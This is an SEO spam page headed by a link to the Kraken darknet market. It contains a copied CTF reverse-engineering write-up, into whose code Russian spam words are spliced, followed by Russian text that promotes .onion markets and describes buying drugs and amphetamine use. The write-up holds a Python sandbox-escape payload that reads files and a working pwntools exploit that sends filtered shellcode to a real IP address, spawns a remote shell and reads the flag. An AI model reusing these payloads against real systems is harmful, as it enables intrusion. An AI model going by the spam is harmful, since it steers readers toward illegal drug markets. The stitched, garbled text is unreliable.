Кракен ссылка pw

This is my write-up for recent hack you spb CTF - a CTF for newbies. I guess I'm a bit older here ahaha.Reverse 100:#include <stdio.h>#include <string.h>int main() { char buf[64]; gets(buf); int l = strlen(buf); if зеркала (l * l!= 144) return 1; unsigned int a = buf[0] | (buf[4] << 8) | (buf[8] << 16); unsigned int b = buf[1] | (buf[5] << 8) | (buf[9] << 16); unsigned int c = buf[2] | (buf[6] << 8) | (buf[10] << 16); unsigned int d = buf[3] | (buf[7] << 8) | (buf[11] << 16); if (!(((a % 3571) == маркетплейс 2963) && (((a % 2843) == 215)) && (((a % 30243) == 13059)))) return 2; if (!(((b % 80735) == 51964) && (((b % 8681) == 2552)) && (((b % 40624) == 30931)))) return 3; if (!(((c % 99892) == 92228) && (((c % 45629) == 1080)) && (((c % 24497) == 12651)))) return 4; if (!(((d % 54750) == 26981) && (((d % 99627) == 79040)) && (((d % 84339) == 77510)))) return 5; printf("Congratulations %s is flag\n",buf); return 0;}First of all, I think about use something like z3, or any SAT that could give me the valid number. But z3 took a lot of time, so I decided to look deeper... Yes, you could finger out there is a pattern (x % number1 == number2), so you could apply Chinese remainder theorem to get a, b, c.Reverse 200:
This is a.pyc file, which is a file contain python byte-code. As usual, for byte-code relative problems, I search for some python byte-code decompiler and found pycdc.
After decompil, you should get something like this# Source Generated with Decompyle++# File: rev200_bot_7b541a1.pyc (Python 2.7)import configimport tracebackimport refrom base64 import *from twx.botapi import TelegramBot, ReplyKeyboardMarkup, ReplyKeyboardHidesec_state = { }def process_message(bot, u):Warning: Stack history is not empty! if u.message.sender and u.message.text and u.message.chat: chat_id = u.message.chat.id user = u.message.sender.username reply_hide = ReplyKeyboardHide.create() print 'user:%s mes:%s' % (user, u.message.text) if user not in sec_state: sec_state[user] = { 'mode': 15, 'stage': 7 } cmd1 = u.message.text.encode('utf-8') a = re.findall('(\\/\\w+)\\s*(.*)', cmd1) if a: cmd = a[0][0] data = a[0][1] if cmd == '/help': bot.send_message(chat_id, 'Usage: \n\n/help - show this help\n/enter - enter secret mode\n', reply_markup = reply_hide) if cmd == '/enter': keyboard = [ [ '-7-', '-8-', '-9-'], [ '-4-', '-5-', '-6-'], [ '-1-', '-2-', '-3-'], [ '-0-']] reply_markup = ReplyKeyboardMarkup.create(keyboard) bot.send_message(chat_id, 'please enter access code', reply_markup = reply_markup).wait() if sec_state[user]['mode'] == 0 and cmd == '/7779317': ddd = b64decode(data) bot.send_message(chat_id, eval(ddd)) a = re.findall('-(\\d+)-', cmd1) if a: num = a[0] if int(num) == sec_state[user]['stage']: sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: bot.send_message(chat_id, 'Secret mode enabled!', reply_markup = reply_hide).wait() else: print 'NO', num, sec_state[user]['stage'] bot.send_message(chat_id, 'Invalid password!', reply_markup = reply_hide).wait() sec_state[user]['mode'] = 15 bot = TelegramBot(config.token)bot.update_bot_info().wait()print bot.usernamelast_update_id = 0while True: updates = bot.get_updates(offset = last_update_id).wait() try: for update in updates: if int(update.update_id) > int(last_update_id): last_update_id = update.update_id process_message(bot, update) continue continue except Exception: ex = None print traceback.format_exc() continue So this is a kind of chat-bot server based on Telegram.
There is eval function inside, bot.send_message(chat_id, eval(ddd)), so I need to control ddd which is a base64 decoded string from data we sent. Before that, I need to enter Secret mode by enter correct access code (0-9).
First, set sec_state[user]['mode'] = 0; First time, stage init to 7, that changed everytime you press the correct key; But if I dont remember the stage, I still could find out by bruteforce from 0 to 9, if I didn't recv incorrect message that's mean I pressed the correct one; then by use the following script, I'm able to access secret area;#coding: utf-8sec_state = { }user = "A"sec_state[user] = {'mode': 15,'stage': 7 } # bruteforce numbersec_state[user]['mode'] = 15r = []while 1: num = sec_state[user]['stage'] r.append(num) print "-%d-" % num sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: breakprint sec_state[user]['mode']Next, this is a pyjail, so I can't execute normal python command...
So, final payload is `str(().__class__.__base__.__subclasses__()[40]("flag","r").read())`or `/7779317 c3RyKCgpLl9fY2xhc3NfXy5fX2Jhc2VfXy5fX3N1YmNsYXNzZXNfXygpWzQwXSgiZmxhZyIsInIiKS5yZWFkKCkp`Reverse 300:
Let's get some fun.let reverse this (or not?), look at handler (the main function)ssize_t __cdecl handler(int fd){ ssize_t result; // [email protected] unsigned int buf; // [sp+20h] [bp-18h]@1 int v3; // [sp+24h] [bp-14h]@1 char *v4; // [sp+28h] [bp-10h]@4 int v5; // [sp+2Ch] [bp-Ch]@4 buf = 0; setuid(0x3E8u); seteuid(0x3E8u); setgid(0x3E8u); setegid(0x3E8u); result = recv(fd, &buf, 4u, 0); v3 = result; if ( result == 4 ) { result = buf; if ( buf <= 0xC8 ) { v4 = (char *)mmap(0, buf, 7, 33, -1, 0); v3 = recv(fd, v4, buf, 0); result = crc32(0, v4, buf); v5 = result; if ( result == 0xCAFEBABE ) { result = filter(v4, buf) ^ 1; if (!(_BYTE)result ) result = ((int (*)(void))v4)(); } } } return result;}So the basic idea is make result == 0xCAFEBABE, so the program will execute v4 as shellcode (function pointer), but you also need to bypass the filter function - check if contain any of 0x0, 0x1, 0x2f, 0x68, 0x73 ( so I can't use sh in plaintext)then exit; So, I did the following step:1. Find a program that can make crc32 of my shellcode equal 0xCAFEBABE
2. Make a great shellcode and Bypass filter.
By search google for everything, the answer for problem 1 is force-crc32.
Currently I'm also trying to learn some binary exploit method, write a shellcode isn't hard (hint xor), but if there is any framework that's good enough as pwntools , you shoud try at least once.
Basicaly, I import pwns and let pwntools do the rest;from pwn import *import socket, struct, telnetlibdef getCRC(data): import subprocess with open('/tmp/12', 'wb') as f: f.write(data + "123456") subprocess.check_output(['python', 'forcecrc32.py', '/tmp/12', str(len(data)+1), 'CAFEBABE']) with open('/tmp/12', 'rb') as f: data = f.read() return datadef crc32(data):# recheck import zlib return (zlib.crc32(data)) & 0xffffffffd = ""d += asm(pwnlib.shellcraft.i386.linux.dup2(4,0))d += asm(pwnlib.shellcraft.i386.linux.dup2(4,1))# i need dup2 because the program use itself as serverd += asm(pwnlib.shellcraft.i386.linux.sh())fsc = pwnlib.encoders.encoder.encode(d, '\n\x01\0\x2f\x73\x68')print len(fsc)fsc = getCRC(fsc) # it didn't contain any blocked char, so i dont need to re-generate again.print hex(crc32(fsc))#yes, i love my custom socket lib 🙁s = socket.create_connection(("78.46.101.237", 3177))s.send(p32(len(fsc)))s.send(fsc)s.send("\n")s.send("cat flag*\n") print s.recv(1024)To be continued....Related

Кракен ссылка pw - Кракен маркетплейс ассортимент

g, список всех.onion-ресурсов от Tor Project. Торрент трекеры, библиотеки, архивы. Топчик зарубежного дарквеба. Информация выложена в качестве ознакомления, я не призываю пользоваться услугами предоставленных ниже сайтов! Да, это копипаста, но почему. По оценке аналитиков из «РегБлока на текущий момент на иностранных торговых платформах заблокированы аккаунты россиян с совокупным объемом средств в 23 млрд рублей. Количестово записей в базе 8432 - в основном хлам, но надо сортировать ) (файл упакован в Zip архив, пароль на Excel, размер 648 кб). Кроме того, он гарантирует, что никакая запись связи не будет сохранена. Скачайте приложение «Google Authenticator» на мобильное устройство, если оно у вас ещё не установлено: Ссылка для AppStore. Onion - The Majestic Garden  зарубежная торговая площадка в виде форума, открытая регистрация, много всяких плюшек в виде multisig, 2FA, существует уже пару лет. После заполнения формы подтверждаем свой Email, ваш счет открыт, но для торговых операций необходимо пройти процедуру проверки вашей личности. Читайте полную статью: Верификация на бирже что нужно знать о KYC и AML Трейдинг на бирже Kraken Для того, чтобы начать торговлю на Kraken, необходимо: Перейти на страницу торгов. Увидев, что не одиноки, почувствуете себя лучше. Новости ( перейти к ленте всех новостей ). Onion - Neboard  имиджборд без капчи, вместо которой используется PoW. Или вы думаете, что основатель крупнейшего в даркнете портала с наркотиками Silk Road Росс Ульбрехт шифровался не так тщательно, как вы? Кроме этого пользователи могут подключиться к Freenet в открытом режиме, который автоматически подключает участников к сети.  Для доступа в сеть Tor необходимо скачать Tor - браузер на официальном сайте проекта тут либо обратите внимание на прокси сервера, указанные в таблице для доступа к сайтам .onion без Tor - браузера. Маржинальная торговля Маржинальная торговля позволяет трейдеру открывать позиции на средства, превышающие баланс его счета. Следует отметить, что использование Tor-браузера не является гарантией анонимности производимых вами действий. При первом входе необходимо выбрать из двух параметров: просто соединиться или настроить сетевые параметры. В таком случае вы можете установить, что при достижении цены в 9500 пусть будет выставлен ордер на продажу по цене в 9499, например. Торговая платформа нацелена как на розничных инвесторов, так и на институциональных трейдеров. Candle это не самый известный поисковик, зато на нем нет рекламы сторонних ресурсов и релевантность результатов, по моим ощущениям, выше, чем у того же Torch. А какой конфиг? Немало времени было потрачено на добавление маржинальной, фьючерсной и внебиржевой торговли, а также даркпула. Если с логином и паролем все ясно, то непосредственно ключ будет отправлен системой на привязанную к аккаунту электронную почту. Torch: найдется все? Нажать напротив нее Deposit. Тем не менее, вы должны быть осторожны со ссылками, которые вы нажимаете.

В наше время, чтобы купить наркотики, необязательно знать барыг или кого-то, кто знал бы барыгу и мог бы помочь тебе у него приобрести желанный товар. Некоторые, например, идут по местности, где ждёт клиент, достают пачку сигарет, подкуривают, а пустую пачку, у всех на глазах, швыряют в клумбу. Тем более его не посадят! Раньше без «связей» наркотик добыть было очень непросто. Вы же не думали, что менты будут играть по правилам и следовать букве закона? Употребление амфетамина изнашивает внутренние органы, поражает гормональную и нервную систему. Кроме формирования зависимости, продолжительное введение наркотика постепенно ведет к истощению всех сил организма. Влияние же на психику сохраняется в течение 4 5 часов, что также трудно скрыть. Объемы продаж были огромные. Многие наоборот там и начинают употреблять, чтобы как-то скрасить своё отбывание срока, но они там и сгнивают заживо. Характерен взгляд больного он становится «стеклянным». В основном они используются для лечения психических расстройств. Поэтому человек становится чересчур активным, эмоциональным. На втором этапе наркоман начинает замечать, что эффект от приема слабеет, а после окончания действия препарата состояние становится тяжелым. При этом жить без него уже невозможно организм требует наркотика все чаще и больше. Лечение амфетаминовой зависимости Лечение амфетаминового наркомана заключается в очищении организма, снятии абстинентного синдрома и дальнейшей психотерапии. Он вводится внутривенно. А тогда мне казалось, что ничего плохого я не делаю. При этом, как только действие препарата закончится, незаконченная работа тут же забудется. На сегодняшний день существует большое количество реабилитационных центров. Буквально единицы ловят, а город разрисован от души. Последствия амфетамина Амфетамин быстро изнашивает практически все органы. Последний раз употреблял до ареста, тюрьма просто съедала морально, там ничего и не употреблял, хотя там наркотиков больше, чем на свободе. Альтернативные названия амфетамина Спид Спиды Скорость СК Так выглядит амфетамин Эффект от амфетамина Наркотик оказывает сильное стимулирующее действие на организм. Особенно популярно вещество среди любителей клубной жизни и представителей творческих профессий. В этом состоянии очень легко сдаются экзамены, на работе демонстрируются высокие показатели. Человек, ищущий дозу «кайфа находит своего продавца в большинстве случаев непосредственно из-за сарафанного радио. Он также свидетельствует о развитии аллергической реакции, поражения легких. Зависимый употребляет наркотик чаще по нескольку раз в день. Сами ни в коем случае не трогайте ничего!